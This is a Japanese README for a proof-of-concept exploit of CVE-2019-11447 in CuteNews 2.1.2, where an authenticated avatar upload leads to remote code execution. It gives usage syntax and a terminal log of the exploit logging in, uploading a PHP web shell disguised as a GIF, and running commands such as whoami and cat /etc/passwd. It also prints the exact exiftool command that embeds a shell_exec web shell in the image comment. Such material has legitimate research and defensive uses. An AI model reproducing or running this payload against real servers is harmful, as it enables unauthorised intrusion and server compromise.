
CuteNews 2.1.2 - CVE-2019-11447 概念実証
CuteNews 2.1.2 - CVE-2019-11447 概念実証
POC作成者: CRFSlick、発見者: AkkuS <Özkan Mustafa Akkuş>
CutePHP CuteNews 2.1.2 に問題が発見されました。攻撃者はプロフィール領域のアバターアップロード処理を介して、avatar_file フィールドを使って index.php?mod=main&opt=personal にアクセスし、サーバーに侵入できます。/core/modules/dashboard.php 内の $imgsize には有効な制御がありません。ファイルのヘッダーコンテンツを変更し、制御をバイパスしてコードを実行できます(攻撃者はこれに GIF ヘッダーを使用できます)。
Usage:
CVE-2019-1144.py <username> <password> <base uri / login page>
Example:
CVE-2019-1144.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ python3 CVE-2019-11447.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
-.-. --- --- .-.. .... ....- -..- --- .-. -... .- -. -. . .-.
[*] Detected version 'CuteNews 2.1.2'
[*] Grabbing session cookie
[*] Logging in as admin:p4ssw0rd
[+] Login Success!
[*] Grabbing __signature_key and __signature_dsi needed for pofile update request
[+] __signature_key: 45ad06a9fc89f75e7ef046a11079c33d-admin
[+] __signature_dsi: 71e41d6500f2dc51d0606f64539f84b1
[*] Uploading evil avatar... Done!
[*] Validating that the file was uploaded... Yup!
[+] http://192.168.1.19/CuteNews/uploads/avatar_admin_5629.php?cmd=<cmd>
[*] Looks like everything went smoothly, lets see if we have RCE!
[*] Keep in mind that this shell is limited, no STDERR
$> whoami
www-data
$> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
悪意のあるGIFはインターネットから取得し、必要なPHPを挿入するためにexiftoolで修正されました。
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool -Comment='<?php echo "'"\n\ndGhpc3dlYnNoZWxsbG91dHB1dHN0YXJ0c2hlcmU=\n\n\n"'"; echo shell_exec($_GET["'"cmd"'"]); echo "'"\n\ndGhpc3dlYnNoZWxsbG91dHB1dGVuZHNoZXJl\n\n"'";?>' sad.gif
Exiftoolは画像のメタデータを表示し、コメント内に配置されたPHPコードを見つけることができます。
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool sad.gif
ExifTool Version Number : 12.05
File Name : sad.gif
...
Comment : <?php echo "\n\ndGhpc3dlYnNoZWxsbG91dHB1dHN0YXJ0c2hlcmU=\n\n...
このプロジェクトは教育目的のみを意図しており、法律違反や個人的な利益のために使用することはできません。 このプロジェクトの作成者は、素材によって引き起こされる可能性のあるいかなる損害についても責任を負いません。